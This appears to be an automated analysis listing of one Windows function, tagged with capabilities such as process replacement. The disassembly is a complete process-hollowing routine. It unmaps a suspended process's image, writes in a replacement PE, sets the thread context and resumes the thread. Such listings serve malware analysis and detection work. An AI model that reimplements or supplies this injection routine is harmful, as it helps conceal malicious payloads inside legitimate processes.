Function at 0x46d410
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff80
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404460
mov eax, dword [ebp - 8]
call fcn.00404460
xor eax, eax
push ebp
push 0x46d6df
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x46d460
push 0x46d6f8
push dword [ebp - 4]
push 0x46d704
push dword [ebp - 8]
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404330
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp word [eax], 0x5a4d
jne 0x46d6c4
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp dword [eax], 0x4550
jne 0x46d6c4
lea eax, [ebp - 0x80]
xor ecx, ecx
mov edx, 0x44
call fcn.00402c64
lea eax, [ebp - 0x3c]
xor ecx, ecx
mov edx, 0x10
call fcn.00402c64
mov dword [ebp - 0x80], 0x44
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404470
push eax
mov eax, dword [ebp - 4]
call fcn.00404470
push eax
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x46d6c4
lea eax, [ebp - 0x18]
call fcn.0046d3c4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x46d698
mov eax, dword [ebp - 0x14]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x46d688
lea eax, [ebp - 0x2c]
push eax
push 4
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
mov eax, dword [ebp - 0x3c]
push eax
call sub.kernel32.dll_ReadProcessMemory
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x34]
cmp eax, dword [ebp - 0x24]
jne 0x46d59f
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0x3c]
push eax
call sub.ntdll_NtUnmapViewOfSection
test eax, eax
jne 0x46d581
push 0x40
push 0x3000
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0x3c]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x28], eax
jmp 0x46d5c0
push 0x40
push 0x3000
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x50]
push eax
push 0
mov eax, dword [ebp - 0x3c]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x28], eax
jmp 0x46d5c0
push 0x40
push 0x3000
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0x3c]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x46d688
mov eax, dword [ebp - 0xc]
call fcn.0046d318
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x34]
cmp eax, dword [ebp - 0x28]
je 0x46d616
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x28]
sub edx, dword [eax + 0x34]
push edx
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0xc]
push eax
call fcn.0046d2d4
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x34], edx
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
add eax, dword [edx + 0x3c]
mov ecx, 0xf8
mov edx, dword [ebp - 0x20]
call fcn.00406bf8
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x3c]
push eax
call sub.kernel32.dll_WriteProcessMemory
lea eax, [ebp - 0x2c]
push eax
push 4
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
mov eax, dword [ebp - 0x3c]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x14]
mov dword [edx + 0xb0], eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0x38]
push eax
call sub.kernel32.dll_ResumeThread
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
call fcn.004026f4
push 0x8000
push 0
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_VirtualFree_1
cmp dword [ebp - 0x10], 0
jne 0x46d6a9
push 0
mov eax, dword [ebp - 0x3c]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x3c]
mov dword [eax], edx
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x38]
mov dword [eax], edx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
call sub.user32.dll_SetForegroundWindow
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46d6e6
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403fd4
ret